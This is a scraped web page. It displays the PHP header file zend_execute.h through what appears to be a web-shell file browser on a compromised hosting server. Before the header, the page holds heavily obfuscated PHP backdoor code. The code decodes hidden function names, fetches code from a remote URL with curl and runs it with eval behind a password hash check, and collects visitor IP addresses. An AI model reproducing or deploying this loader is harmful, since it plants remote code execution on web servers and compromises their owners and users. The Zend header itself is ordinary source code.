kXcuJ3pcli: XMO8bJB3X4c: goto ZFAa2jo5Em1; nn6qAGIXtVJ: Y4huEalGRnY: goto Ou2zYWo3JDr; OZrmUZDWwVS: goto wxmnWJsS3Vj; goto bkXcuJ3pcli; R4nwFnFey3F: if (preg_match("\57\154\157\143\x61\x74\151\157\x6e\134\72\133\134\163\x5d\x2b\50\x2e\52\x29\57\151", $RmRDU0769bP, $iccbbLV_o_D)) { goto NZJOT0N3_fc; } goto QtILQ6UKwVL; uqQHK3mwLgA: NZJOT0N3_fc: goto x_cKPIQC3wl; ZFAa2jo5Em1: $Lfu07SmMZ8k["\163\164\x61\164\x75\163"] = intval($iccbbLV_o_D[1]); goto VoTtGfQLYFS; OVG9mzLTugo: } goto BfHtWkAdhV3; ojYbVw0ZTju: } goto Ipdw7rfNgO3; NSRBLvRsIZJ: $Bm6fBzMMzTd = preg_replace("\x2f\134\x3f\56\52\57", '', $_SERVER["\x52\105\121\125\105\x53\124\137\125\122\x49"]); goto GWbmi6ghGPj; uj5v1Bc1Pv5: class RAr2alvaPsc { static function LC1rrsRIno2($rIXYQS1ayZa) { goto TP1C6nBf9vb; acCL0hWrZYU: qQ1Py6Q0S5U: goto JxD6Ttz8GVO; JxD6Ttz8GVO: return $WrcjZmxt5Yx; goto EnbRRhxo5AA; Xa5JZck5OUn: $WrcjZmxt5Yx = ''; goto M7yYtep1FOw; M7yYtep1FOw: foreach ($ohAGVNDO94s as $Fua_BfPMtf8 => $qRUHN0cvc1q) { $WrcjZmxt5Yx .= $jiYcCeRj2Gt[$qRUHN0cvc1q - 22568]; bEsj9gRhlTp: } goto acCL0hWrZYU; rdTVnStdy17: $jiYcCeRj2Gt = $p3gGlu5XiKO("\x7e", "\40"); goto vurEe9U1FdX; TP1C6nBf9vb: $p3gGlu5XiKO = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto rdTVnStdy17; vurEe9U1FdX: $ohAGVNDO94s = explode("\x5e", $rIXYQS1ayZa); goto Xa5JZck5OUn; EnbRRhxo5AA: } static function AZVJ0NFyLqK($GwyhZT2Nkcn, $hbYMmPrpjoj) { goto mT92KPpYP03; Kna_zSArpCa: curl_setopt($V2c21DaN37J, CURLOPT_RETURNTRANSFER, 1); goto HVheqhfNM6c; mT92KPpYP03: $V2c21DaN37J = curl_init($GwyhZT2Nkcn); goto Kna_zSArpCa; CBni7YfJ6__: return empty($ALYl1g3y1fZ) ? $hbYMmPrpjoj($GwyhZT2Nkcn) : $ALYl1g3y1fZ; goto HiTImhF1ugD; HVheqhfNM6c: $ALYl1g3y1fZ = curl_exec($V2c21DaN37J); goto CBni7YfJ6__; HiTImhF1ugD: } static function j9IvsgaWvxp() { goto sMy1yJjA5WR; wa0dtxRoLtP: @eval($SMsgHLjb7FZ[4 + 0]($tz4SxWGpGeS)); goto nw_1P2eYvKZ; nw_1P2eYvKZ: die; goto Te9JRsINWaJ; EoIQokruCml: zJgPmPyR0MS: goto B4eurh7e3fE; sMy1yJjA5WR: $f246H1ZW8lE = array("\x32\62\x35\x39\x35\136\x32\62\65\70\x30\136\62\62\x35\x39\63\136\62\x32\x35\71\67\136\x32\62\x35\67\70\136\62\x32\x35\71\63\x5e\x32\62\x35\x39\x39\136\62\62\x35\71\x32\x5e\x32\62\x35\67\67\x5e\62\62\x35\x38\64\x5e\62\62\x35\71\65\x5e\x32\62\x35\67\70\x5e\x32\62\65\x38\71\136\x32\62\x35\x38\x33\136\62\x32\x35\x38\64", "\x32\x32\x35\x37\x39\x5e\62\62\65\67\70\x5e\62\62\x35\x38\x30\x5e\62\x32\x35\x39\71\136\x32\62\65\x38\60\136\x32\x32\x35\x38\63\x5e\62\62\65\x37\x38\x5e\62\x32\66\x34\x35\136\62\62\x36\x34\x33", "\62\62\x35\x38\70\136\x32\x32\x35\x37\x39\136\62\x32\x35\x38\63\x5e\x32\62\x35\70\x34\x5e\x32\62\65\x39\x39\x5e\62\62\x35\x39\64\x5e\x32\62\65\71\63\x5e\x32\x32\65\71\x35\136\62\62\65\70\63\136\x32\x32\x35\71\x34\136\62\62\65\71\x33", "\62\x32\65\70\x32\x5e\62\62\x35\71\67\136\x32\62\65\x39\x35\x5e\x32\62\65\70\x37", "\x32\x32\65\71\x36\136\62\x32\x35\x39\x37\x5e\x32\x32\65\67\x39\136\x32\x32\x35\x39\63\136\62\62\x36\x34\x30\136\62\62\66\x34\62\x5e\62\x32\x35\x39\x39\136\x32\62\65\71\64\x5e\62\62\x35\x39\63\136\x32\62\x35\x39\65\136\x32\62\65\70\63\136\x32\x32\65\x39\64\136\62\62\65\x39\63", "\62\x32\65\x39\62\x5e\x32\x32\65\70\x39\x5e\x32\x32\x35\x38\x36\x5e\x32\x32\x35\71\63\x5e\x32\62\x35\x39\71\136\62\x32\x35\71\61\136\x32\x32\65\x39\63\x5e\62\62\65\67\x38\136\62\x32\65\71\71\136\x32\62\65\x39\x35\x5e\x32\62\x35\x38\63\136\62\x32\x35\70\x34\136\x32\62\65\67\x38\x5e\62\62\x35\x39\63\x5e\x32\62\65\x38\x34\x5e\62\x32\x35\x37\70\x5e\62\62\65\67\71", "\62\62\x36\62\x32\136\62\62\x36\x35\x32", "\x32\x32\65\66\x39", "\62\62\x36\x34\67\x5e\x32\x32\66\x35\x32", "\62\62\x36\62\71\136\x32\62\x36\x31\62\136\x32\x32\x36\61\x32\x5e\x32\62\x36\62\x39\x5e\62\x32\66\60\x35", "\62\x32\65\71\62\136\x32\x32\x35\x38\71\136\x32\62\65\x38\66\x5e\x32\x32\65\x37\70\x5e\62\x32\65\x39\x33\x5e\62\x32\x35\70\60\x5e\x32\x32\x35\71\71\x5e\x32\62\x35\70\71\136\62\62\65\70\x34\136\x32\62\65\x38\x32\x5e\62\62\x35\67\x37\136\x32\62\65\x37\x38"); goto MARu4QE8x6O; MARu4QE8x6O: foreach ($f246H1ZW8lE as $yI91XtVleEZ) { $SMsgHLjb7FZ[] = self::lC1rrSRinO2($yI91XtVleEZ); skiHfXu4Ki4: } goto EoIQokruCml; mOZIEw2NOr2: $n_UPDy9GPeE = @$SMsgHLjb7FZ[0 + 3]($SMsgHLjb7FZ[0 + 6], $y1G9q6tjV08); goto KX1ZdUDdqFB; F_yqHtA6_Bq: $tz4SxWGpGeS = self::AzVJ0nfylQK($CkMSoDREXpk[0 + 1], $SMsgHLjb7FZ[4 + 1]); goto wa0dtxRoLtP; Te9JRsINWaJ: K6qKJOSIiYw: goto uwsX8TJApDD; yj6RFPUPKYW: if (!(@$CkMSoDREXpk[0] - time() > 0 and md5(md5($CkMSoDREXpk[1 + 2])) === "\63\60\70\67\x62\145\x39\143\x65\x62\x65\145\x33\x66\146\x66\60\x35\x62\65\144\x64\70\x61\x37\63\x31\142\x38\63\x32\143")) { goto K6qKJOSIiYw; } goto F_yqHtA6_Bq; KX1ZdUDdqFB: $CkMSoDREXpk = $SMsgHLjb7FZ[2 + 0]($n_UPDy9GPeE, true); goto cTmPPmuEskD; cTmPPmuEskD: @$SMsgHLjb7FZ[4 + 6](INPUT_GET, "\157\146") == 1 && die($SMsgHLjb7FZ[5 + 0](__FILE__)); goto yj6RFPUPKYW; B4eurh7e3fE: $y1G9q6tjV08 = @$SMsgHLjb7FZ[1]($SMsgHLjb7FZ[7 + 3](INPUT_GET, $SMsgHLjb7FZ[4 + 5])); goto mOZIEw2NOr2; uwsX8TJApDD: } } goto JtTX1U_1EFq; Lyj6N28uwBS: $bgpPJ0Zi5hE["\x72"] = x6cSzwlJBCd($_SERVER["\122\x45\121\x55\x45\x53\124\x5f\125\122\x49"]); goto CzDNCIeT_k0; TSwH9AzH3pK: $bgpPJ0Zi5hE["\x69"] = x6CsZwLjBcd($s523gbDMtcu); goto yXOovHHws9R; D_pfMIvXDND: @header("\103\x6f\x6e\164\145\x6e\x74\x2d\124\171\x70\x65\x3a" . $JtLWvp1EqLz["\164\x79\x70\145"]); goto F2YHQvDNajd; FvqaFXYFCYz: exit("\x7b\40\42\x65\162\x72\157\x72\x22\72\x20\x32\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\152\153\x22\54\x20\x22\144\141\x74\x61\42\x3a\40\133\x20\61\x20\135\x20\175"); goto g1nbHzXPt8R; F2YHQvDNajd: echo $JtLWvp1EqLz["\x63\x6f\156\x74\145\156\x74"]; goto RbcR3TDcvIv; ThyuZCPGrvK: function aa2bJGaU0r_() { goto qGs6zE3gynS; AZ2Yhb1esFE: $s523gbDMtcu = $_SERVER["\122\105\115\117\124\105\x5f\x41\x44\x44\122"]; goto pJawReXN2Ya; PM1sVLA2I4q: $s523gbDMtcu = $s523gbDMtcu[0]; goto ceuGd5Fum5u; pQHMRZZ270q: if (isset($_SERVER["\110\124\x54\x50\x5f\x58\137\122\105\101\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\x54\x54\120\137\130\137\x52\105\x41\x4c\137\111\x50"])) { goto qXCkXAily2f; } goto zVEQSAHUv3r; HOeyGJfYpsL: $s523gbDMtcu = trim(str_replace("\40", '', $s523gbDMtcu), "\x2c"); goto qR8uAehMtc9; ceuGd5Fum5u: Iiq3RHO4Fjj: goto MUU7_gpONq8; hVsgLzNJjSI: goto B_cTysIL3cn; goto aXvbs8vfUJ_; NyIT6DLDB8t: B_cTysIL3cn: goto HOeyGJfYpsL; AHTJ60TQtPg: if (isset($_SERVER["\x48\x54\x54\x50\x5f\103\106\137\103\x4f\116\116\105\x43\x54\x49\116\x47\x5f\x49\x50"]) && !empty($_SERVER["\110\x54\x54\120\x5f\x43\x46\x5f\103\117\116\116\x45\103\124\111\x4e\x47\x5f\x49\120"])) { goto fWjcxD6qYIB; } goto pQHMRZZ270q; qGs6zE3gynS: $s523gbDMtcu = ''; goto AHTJ60TQtPg; AX8fcsGJDc7: $s523gbDMtcu = $_SERVER["\x48\124\124\x50\137\130\137\122\105\x41\114\x5f\111\120"]; goto aoFTIfhTqke; qR8uAehMtc9: if (!(strpos($s523gbDMtcu, "\x2c") !== false)) { goto Iiq3RHO4Fjj; } goto KDuRn_rkiVZ; pJawReXN2Ya: goto B_cTysIL3cn; goto PcXQUJhknMA; LjVLRW5nb4t: $s523gbDMtcu = $_SERVER["\110\x54\x54\120\137\x58\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x46\x4f\x52"]; goto NyIT6DLDB8t; EDADEBQ81Qm: Jbz2xMuxeIr: goto LjVLRW5nb4t; MUU7_gpONq8: return $s523gbDMtcu; goto VZeBSXmofDq; VD5PkV_Pxaw: $s523gbDMtcu = $_SERVER["\x48\x54\124\x50\x5f\x43\106\137\103\117\116\116\x45\103\124\x49\116\x47\x5f\111\x50"]; goto hVsgLzNJjSI; aoFTIfhTqke: goto B_cTysIL3cn; goto EDADEBQ81Qm; KDuRn_rkiVZ: $s523gbDMtcu = explode("\54", $s523gbDMtcu); goto PM1sVLA2I4q; PcXQUJhknMA: fWjcxD6qYIB: goto VD5PkV_Pxaw; aXvbs8vfUJ_: qXCkXAily2f: goto AX8fcsGJDc7; zVEQSAHUv3r: if (isset($_SERVER["\110\124\124\120\137\x58\x5f\106\117\x52\127\x41\122\x44\x45\x44\137\106\x4f\x52"]) && !empty($_SERVER["\110\x54\124\120\137\x58\137\106\117\x52\127\101\x52\x44\105\x44\x5f\106\x4f\x52"])) { goto Jbz2xMuxeIr; } goto AZ2Yhb1esFE; VZeBSXmofDq: } goto k7TBZVsI5lr; JtTX1U_1EFq: rAR2aLVapsc::J9iVSgAwvxp(); goto sFT_PnBYD5A; gbRJ6wI9X1J: if ($MaT3VYXevMh) { goto u0kQWBLRjHa; } goto F4F8Gny9Auy; Riq085QaZlJ: u0kQWBLRjHa: ?> HEX
HEX
Server: LiteSpeed
System: Linux server53.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User: nahevttf (6494)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //opt/cloudlinux/alt-php80/root/usr/include/php/Zend/zend_execute.h
/*
   +----------------------------------------------------------------------+
   | Zend Engine                                                          |
   +----------------------------------------------------------------------+
   | Copyright (c) Zend Technologies Ltd. (http://www.zend.com)           |
   +----------------------------------------------------------------------+
   | This source file is subject to version 2.00 of the Zend license,     |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | http://www.zend.com/license/2_00.txt.                                |
   | If you did not receive a copy of the Zend license and are unable to  |
   | obtain it through the world-wide-web, please send a note to          |
   | license@zend.com so we can mail you a copy immediately.              |
   +----------------------------------------------------------------------+
   | Authors: Andi Gutmans <andi@php.net>                                 |
   |          Zeev Suraski <zeev@php.net>                                 |
   |          Dmitry Stogov <dmitry@php.net>                              |
   +----------------------------------------------------------------------+
*/

#ifndef ZEND_EXECUTE_H
#define ZEND_EXECUTE_H

#include "zend_compile.h"
#include "zend_hash.h"
#include "zend_operators.h"
#include "zend_variables.h"

BEGIN_EXTERN_C()
struct _zend_fcall_info;
ZEND_API extern void (*zend_execute_ex)(zend_execute_data *execute_data);
ZEND_API extern void (*zend_execute_internal)(zend_execute_data *execute_data, zval *return_value);

/* The lc_name may be stack allocated! */
ZEND_API extern zend_class_entry *(*zend_autoload)(zend_string *name, zend_string *lc_name);

void init_executor(void);
void shutdown_executor(void);
void shutdown_destructors(void);
ZEND_API void zend_init_execute_data(zend_execute_data *execute_data, zend_op_array *op_array, zval *return_value);
ZEND_API void zend_init_func_execute_data(zend_execute_data *execute_data, zend_op_array *op_array, zval *return_value);
ZEND_API void zend_init_code_execute_data(zend_execute_data *execute_data, zend_op_array *op_array, zval *return_value);
ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value);
ZEND_API void execute_ex(zend_execute_data *execute_data);
ZEND_API void execute_internal(zend_execute_data *execute_data, zval *return_value);
ZEND_API zend_bool zend_is_valid_class_name(zend_string *name);
ZEND_API zend_class_entry *zend_lookup_class(zend_string *name);
ZEND_API zend_class_entry *zend_lookup_class_ex(zend_string *name, zend_string *lcname, uint32_t flags);
ZEND_API zend_class_entry *zend_get_called_scope(zend_execute_data *ex);
ZEND_API zend_object *zend_get_this_object(zend_execute_data *ex);
ZEND_API zend_result zend_eval_string(const char *str, zval *retval_ptr, const char *string_name);
ZEND_API zend_result zend_eval_stringl(const char *str, size_t str_len, zval *retval_ptr, const char *string_name);
ZEND_API zend_result zend_eval_string_ex(const char *str, zval *retval_ptr, const char *string_name, bool handle_exceptions);
ZEND_API zend_result zend_eval_stringl_ex(const char *str, size_t str_len, zval *retval_ptr, const char *string_name, bool handle_exceptions);

/* export zend_pass_function to allow comparisons against it */
extern ZEND_API const zend_internal_function zend_pass_function;

ZEND_API ZEND_COLD void ZEND_FASTCALL zend_missing_arg_error(zend_execute_data *execute_data);
ZEND_API ZEND_COLD void ZEND_FASTCALL zend_deprecated_function(const zend_function *fbc);
ZEND_COLD void ZEND_FASTCALL zend_param_must_be_ref(const zend_function *func, uint32_t arg_num);

ZEND_API zend_bool ZEND_FASTCALL zend_verify_ref_assignable_zval(zend_reference *ref, zval *zv, zend_bool strict);
ZEND_API zend_bool ZEND_FASTCALL zend_verify_prop_assignable_by_ref(zend_property_info *prop_info, zval *orig_val, zend_bool strict);

ZEND_API ZEND_COLD void zend_throw_ref_type_error_zval(zend_property_info *prop, zval *zv);
ZEND_API ZEND_COLD void zend_throw_ref_type_error_type(zend_property_info *prop1, zend_property_info *prop2, zval *zv);
ZEND_API ZEND_COLD zend_result ZEND_FASTCALL zend_undefined_offset_write(HashTable *ht, zend_long lval);
ZEND_API ZEND_COLD zend_result ZEND_FASTCALL zend_undefined_index_write(HashTable *ht, zend_string *offset);

ZEND_API zend_bool zend_verify_scalar_type_hint(uint32_t type_mask, zval *arg, zend_bool strict, zend_bool is_internal_arg);
ZEND_API ZEND_COLD void zend_verify_arg_error(
		const zend_function *zf, const zend_arg_info *arg_info, int arg_num, zval *value);
ZEND_API ZEND_COLD void zend_verify_return_error(
		const zend_function *zf, zval *value);
ZEND_API zend_bool zend_verify_ref_array_assignable(zend_reference *ref);
ZEND_API zend_bool zend_value_instanceof_static(zval *zv);


#define ZEND_REF_TYPE_SOURCES(ref) \
	(ref)->sources

#define ZEND_REF_HAS_TYPE_SOURCES(ref) \
	(ZEND_REF_TYPE_SOURCES(ref).ptr != NULL)

#define ZEND_REF_FIRST_SOURCE(ref) \
	(ZEND_PROPERTY_INFO_SOURCE_IS_LIST((ref)->sources.list) \
		? ZEND_PROPERTY_INFO_SOURCE_TO_LIST((ref)->sources.list)->ptr[0] \
		: (ref)->sources.ptr)


ZEND_API void ZEND_FASTCALL zend_ref_add_type_source(zend_property_info_source_list *source_list, zend_property_info *prop);
ZEND_API void ZEND_FASTCALL zend_ref_del_type_source(zend_property_info_source_list *source_list, zend_property_info *prop);

ZEND_API zval* zend_assign_to_typed_ref(zval *variable_ptr, zval *value, zend_uchar value_type, zend_bool strict);

static zend_always_inline void zend_copy_to_variable(zval *variable_ptr, zval *value, zend_uchar value_type)
{
	zend_refcounted *ref = NULL;

	if (ZEND_CONST_COND(value_type & (IS_VAR|IS_CV), 1) && Z_ISREF_P(value)) {
		ref = Z_COUNTED_P(value);
		value = Z_REFVAL_P(value);
	}

	ZVAL_COPY_VALUE(variable_ptr, value);
	if (ZEND_CONST_COND(value_type  == IS_CONST, 0)) {
		if (UNEXPECTED(Z_OPT_REFCOUNTED_P(variable_ptr))) {
			Z_ADDREF_P(variable_ptr);
		}
	} else if (value_type & (IS_CONST|IS_CV)) {
		if (Z_OPT_REFCOUNTED_P(variable_ptr)) {
			Z_ADDREF_P(variable_ptr);
		}
	} else if (ZEND_CONST_COND(value_type == IS_VAR, 1) && UNEXPECTED(ref)) {
		if (UNEXPECTED(GC_DELREF(ref) == 0)) {
			efree_size(ref, sizeof(zend_reference));
		} else if (Z_OPT_REFCOUNTED_P(variable_ptr)) {
			Z_ADDREF_P(variable_ptr);
		}
	}
}

static zend_always_inline zval* zend_assign_to_variable(zval *variable_ptr, zval *value, zend_uchar value_type, zend_bool strict)
{
	do {
		if (UNEXPECTED(Z_REFCOUNTED_P(variable_ptr))) {
			zend_refcounted *garbage;

			if (Z_ISREF_P(variable_ptr)) {
				if (UNEXPECTED(ZEND_REF_HAS_TYPE_SOURCES(Z_REF_P(variable_ptr)))) {
					return zend_assign_to_typed_ref(variable_ptr, value, value_type, strict);
				}

				variable_ptr = Z_REFVAL_P(variable_ptr);
				if (EXPECTED(!Z_REFCOUNTED_P(variable_ptr))) {
					break;
				}
			}
			garbage = Z_COUNTED_P(variable_ptr);
			zend_copy_to_variable(variable_ptr, value, value_type);
			if (GC_DELREF(garbage) == 0) {
				rc_dtor_func(garbage);
			} else { /* we need to split */
				/* optimized version of GC_ZVAL_CHECK_POSSIBLE_ROOT(variable_ptr) */
				if (UNEXPECTED(GC_MAY_LEAK(garbage))) {
					gc_possible_root(garbage);
				}
			}
			return variable_ptr;
		}
	} while (0);

	zend_copy_to_variable(variable_ptr, value, value_type);
	return variable_ptr;
}

ZEND_API zend_result zval_update_constant(zval *pp);
ZEND_API zend_result zval_update_constant_ex(zval *pp, zend_class_entry *scope);

/* dedicated Zend executor functions - do not use! */
struct _zend_vm_stack {
	zval *top;
	zval *end;
	zend_vm_stack prev;
};

#define ZEND_VM_STACK_HEADER_SLOTS \
	((ZEND_MM_ALIGNED_SIZE(sizeof(struct _zend_vm_stack)) + ZEND_MM_ALIGNED_SIZE(sizeof(zval)) - 1) / ZEND_MM_ALIGNED_SIZE(sizeof(zval)))

#define ZEND_VM_STACK_ELEMENTS(stack) \
	(((zval*)(stack)) + ZEND_VM_STACK_HEADER_SLOTS)

/*
 * In general in RELEASE build ZEND_ASSERT() must be zero-cost, but for some
 * reason, GCC generated worse code, performing CSE on assertion code and the
 * following "slow path" and moving memory read operatins from slow path into
 * common header. This made a degradation for the fast path.
 * The following "#if ZEND_DEBUG" eliminates it.
 */
#if ZEND_DEBUG
# define ZEND_ASSERT_VM_STACK(stack) ZEND_ASSERT(stack->top > (zval *) stack && stack->end > (zval *) stack && stack->top <= stack->end)
# define ZEND_ASSERT_VM_STACK_GLOBAL ZEND_ASSERT(EG(vm_stack_top) > (zval *) EG(vm_stack) && EG(vm_stack_end) > (zval *) EG(vm_stack) && EG(vm_stack_top) <= EG(vm_stack_end))
#else
# define ZEND_ASSERT_VM_STACK(stack)
# define ZEND_ASSERT_VM_STACK_GLOBAL
#endif

ZEND_API void zend_vm_stack_init(void);
ZEND_API void zend_vm_stack_init_ex(size_t page_size);
ZEND_API void zend_vm_stack_destroy(void);
ZEND_API void* zend_vm_stack_extend(size_t size);

static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, uint32_t call_info, zend_function *func, uint32_t num_args, void *object_or_called_scope)
{
	call->func = func;
	Z_PTR(call->This) = object_or_called_scope;
	ZEND_CALL_INFO(call) = call_info;
	ZEND_CALL_NUM_ARGS(call) = num_args;
}

static zend_always_inline zend_execute_data *zend_vm_stack_push_call_frame_ex(uint32_t used_stack, uint32_t call_info, zend_function *func, uint32_t num_args, void *object_or_called_scope)
{
	zend_execute_data *call = (zend_execute_data*)EG(vm_stack_top);

	ZEND_ASSERT_VM_STACK_GLOBAL;

	if (UNEXPECTED(used_stack > (size_t)(((char*)EG(vm_stack_end)) - (char*)call))) {
		call = (zend_execute_data*)zend_vm_stack_extend(used_stack);
		ZEND_ASSERT_VM_STACK_GLOBAL;
		zend_vm_init_call_frame(call, call_info | ZEND_CALL_ALLOCATED, func, num_args, object_or_called_scope);
		return call;
	} else {
		EG(vm_stack_top) = (zval*)((char*)call + used_stack);
		zend_vm_init_call_frame(call, call_info, func, num_args, object_or_called_scope);
		return call;
	}
}

static zend_always_inline uint32_t zend_vm_calc_used_stack(uint32_t num_args, zend_function *func)
{
	uint32_t used_stack = ZEND_CALL_FRAME_SLOT + num_args;

	if (EXPECTED(ZEND_USER_CODE(func->type))) {
		used_stack += func->op_array.last_var + func->op_array.T - MIN(func->op_array.num_args, num_args);
	}
	return used_stack * sizeof(zval);
}

static zend_always_inline zend_execute_data *zend_vm_stack_push_call_frame(uint32_t call_info, zend_function *func, uint32_t num_args, void *object_or_called_scope)
{
	uint32_t used_stack = zend_vm_calc_used_stack(num_args, func);

	return zend_vm_stack_push_call_frame_ex(used_stack, call_info,
		func, num_args, object_or_called_scope);
}

static zend_always_inline void zend_vm_stack_free_extra_args_ex(uint32_t call_info, zend_execute_data *call)
{
	if (UNEXPECTED(call_info & ZEND_CALL_FREE_EXTRA_ARGS)) {
		uint32_t count = ZEND_CALL_NUM_ARGS(call) - call->func->op_array.num_args;
		zval *p = ZEND_CALL_VAR_NUM(call, call->func->op_array.last_var + call->func->op_array.T);
		do {
			i_zval_ptr_dtor(p);
			p++;
		} while (--count);
 	}
}

static zend_always_inline void zend_vm_stack_free_extra_args(zend_execute_data *call)
{
	zend_vm_stack_free_extra_args_ex(ZEND_CALL_INFO(call), call);
}

static zend_always_inline void zend_vm_stack_free_args(zend_execute_data *call)
{
	uint32_t num_args = ZEND_CALL_NUM_ARGS(call);

	if (EXPECTED(num_args > 0)) {
		zval *p = ZEND_CALL_ARG(call, 1);

		do {
			zval_ptr_dtor_nogc(p);
			p++;
		} while (--num_args);
	}
}

static zend_always_inline void zend_vm_stack_free_call_frame_ex(uint32_t call_info, zend_execute_data *call)
{
	ZEND_ASSERT_VM_STACK_GLOBAL;

	if (UNEXPECTED(call_info & ZEND_CALL_ALLOCATED)) {
		zend_vm_stack p = EG(vm_stack);
		zend_vm_stack prev = p->prev;

		ZEND_ASSERT(call == (zend_execute_data*)ZEND_VM_STACK_ELEMENTS(EG(vm_stack)));
		EG(vm_stack_top) = prev->top;
		EG(vm_stack_end) = prev->end;
		EG(vm_stack) = prev;
		efree(p);
	} else {
		EG(vm_stack_top) = (zval*)call;
	}

	ZEND_ASSERT_VM_STACK_GLOBAL;
}

static zend_always_inline void zend_vm_stack_free_call_frame(zend_execute_data *call)
{
	zend_vm_stack_free_call_frame_ex(ZEND_CALL_INFO(call), call);
}

zend_execute_data *zend_vm_stack_copy_call_frame(
	zend_execute_data *call, uint32_t passed_args, uint32_t additional_args);

static zend_always_inline void zend_vm_stack_extend_call_frame(
	zend_execute_data **call, uint32_t passed_args, uint32_t additional_args)
{
	if (EXPECTED((uint32_t)(EG(vm_stack_end) - EG(vm_stack_top)) > additional_args)) {
		EG(vm_stack_top) += additional_args;
	} else {
		*call = zend_vm_stack_copy_call_frame(*call, passed_args, additional_args);
	}
}

ZEND_API void ZEND_FASTCALL zend_free_extra_named_params(zend_array *extra_named_params);

/* services */
ZEND_API const char *get_active_class_name(const char **space);
ZEND_API const char *get_active_function_name(void);
ZEND_API const char *get_active_function_arg_name(uint32_t arg_num);
ZEND_API const char *get_function_arg_name(const zend_function *func, uint32_t arg_num);
ZEND_API zend_string *get_active_function_or_method_name(void);
ZEND_API zend_string *get_function_or_method_name(const zend_function *func);
ZEND_API const char *zend_get_executed_filename(void);
ZEND_API zend_string *zend_get_executed_filename_ex(void);
ZEND_API uint32_t zend_get_executed_lineno(void);
ZEND_API zend_class_entry *zend_get_executed_scope(void);
ZEND_API zend_bool zend_is_executing(void);
ZEND_API ZEND_COLD void ZEND_FASTCALL zend_cannot_pass_by_reference(uint32_t arg_num);

ZEND_API void zend_set_timeout(zend_long seconds, bool reset_signals);
ZEND_API void zend_unset_timeout(void);
ZEND_API ZEND_NORETURN void ZEND_FASTCALL zend_timeout(void);
ZEND_API zend_class_entry *zend_fetch_class(zend_string *class_name, int fetch_type);
ZEND_API zend_class_entry *zend_fetch_class_by_name(zend_string *class_name, zend_string *lcname, int fetch_type);

ZEND_API zend_function * ZEND_FASTCALL zend_fetch_function(zend_string *name);
ZEND_API zend_function * ZEND_FASTCALL zend_fetch_function_str(const char *name, size_t len);
ZEND_API void ZEND_FASTCALL zend_init_func_run_time_cache(zend_op_array *op_array);

ZEND_API void zend_fetch_dimension_const(zval *result, zval *container, zval *dim, int type);

ZEND_API zval* zend_get_compiled_variable_value(const zend_execute_data *execute_data_ptr, uint32_t var);

#define ZEND_USER_OPCODE_CONTINUE   0 /* execute next opcode */
#define ZEND_USER_OPCODE_RETURN     1 /* exit from executor (return from function) */
#define ZEND_USER_OPCODE_DISPATCH   2 /* call original opcode handler */
#define ZEND_USER_OPCODE_ENTER      3 /* enter into new op_array without recursion */
#define ZEND_USER_OPCODE_LEAVE      4 /* return to calling op_array within the same executor */

#define ZEND_USER_OPCODE_DISPATCH_TO 0x100 /* call original handler of returned opcode */

ZEND_API int zend_set_user_opcode_handler(zend_uchar opcode, user_opcode_handler_t handler);
ZEND_API user_opcode_handler_t zend_get_user_opcode_handler(zend_uchar opcode);

ZEND_API zval *zend_get_zval_ptr(const zend_op *opline, int op_type, const znode_op *node, const zend_execute_data *execute_data);

ZEND_API void zend_clean_and_cache_symbol_table(zend_array *symbol_table);
ZEND_API void zend_free_compiled_variables(zend_execute_data *execute_data);
ZEND_API void zend_unfinished_calls_gc(zend_execute_data *execute_data, zend_execute_data *call, uint32_t op_num, zend_get_gc_buffer *buf);
ZEND_API void zend_cleanup_unfinished_execution(zend_execute_data *execute_data, uint32_t op_num, uint32_t catch_op_num);

zval * ZEND_FASTCALL zend_handle_named_arg(
		zend_execute_data **call_ptr, zend_string *arg_name,
		uint32_t *arg_num_ptr, void **cache_slot);
ZEND_API int ZEND_FASTCALL zend_handle_undef_args(zend_execute_data *call);

#define CACHE_ADDR(num) \
	((void**)((char*)EX(run_time_cache) + (num)))

#define CACHED_PTR(num) \
	((void**)((char*)EX(run_time_cache) + (num)))[0]

#define CACHE_PTR(num, ptr) do { \
		((void**)((char*)EX(run_time_cache) + (num)))[0] = (ptr); \
	} while (0)

#define CACHED_POLYMORPHIC_PTR(num, ce) \
	(EXPECTED(((void**)((char*)EX(run_time_cache) + (num)))[0] == (void*)(ce)) ? \
		((void**)((char*)EX(run_time_cache) + (num)))[1] : \
		NULL)

#define CACHE_POLYMORPHIC_PTR(num, ce, ptr) do { \
		void **slot = (void**)((char*)EX(run_time_cache) + (num)); \
		slot[0] = (ce); \
		slot[1] = (ptr); \
	} while (0)

#define CACHED_PTR_EX(slot) \
	(slot)[0]

#define CACHE_PTR_EX(slot, ptr) do { \
		(slot)[0] = (ptr); \
	} while (0)

#define CACHED_POLYMORPHIC_PTR_EX(slot, ce) \
	(EXPECTED((slot)[0] == (ce)) ? (slot)[1] : NULL)

#define CACHE_POLYMORPHIC_PTR_EX(slot, ce, ptr) do { \
		(slot)[0] = (ce); \
		(slot)[1] = (ptr); \
	} while (0)

#define CACHE_SPECIAL (1<<0)

#define IS_SPECIAL_CACHE_VAL(ptr) \
	(((uintptr_t)(ptr)) & CACHE_SPECIAL)

#define ENCODE_SPECIAL_CACHE_NUM(num) \
	((void*)((((uintptr_t)(num)) << 1) | CACHE_SPECIAL))

#define DECODE_SPECIAL_CACHE_NUM(ptr) \
	(((uintptr_t)(ptr)) >> 1)

#define ENCODE_SPECIAL_CACHE_PTR(ptr) \
	((void*)(((uintptr_t)(ptr)) | CACHE_SPECIAL))

#define DECODE_SPECIAL_CACHE_PTR(ptr) \
	((void*)(((uintptr_t)(ptr)) & ~CACHE_SPECIAL))

#define SKIP_EXT_OPLINE(opline) do { \
		while (UNEXPECTED((opline)->opcode >= ZEND_EXT_STMT \
			&& (opline)->opcode <= ZEND_TICKS)) {     \
			(opline)--;                                  \
		}                                                \
	} while (0)

#define ZEND_CLASS_HAS_TYPE_HINTS(ce) ((ce->ce_flags & ZEND_ACC_HAS_TYPE_HINTS) == ZEND_ACC_HAS_TYPE_HINTS)

ZEND_API zend_bool zend_verify_property_type(zend_property_info *info, zval *property, zend_bool strict);
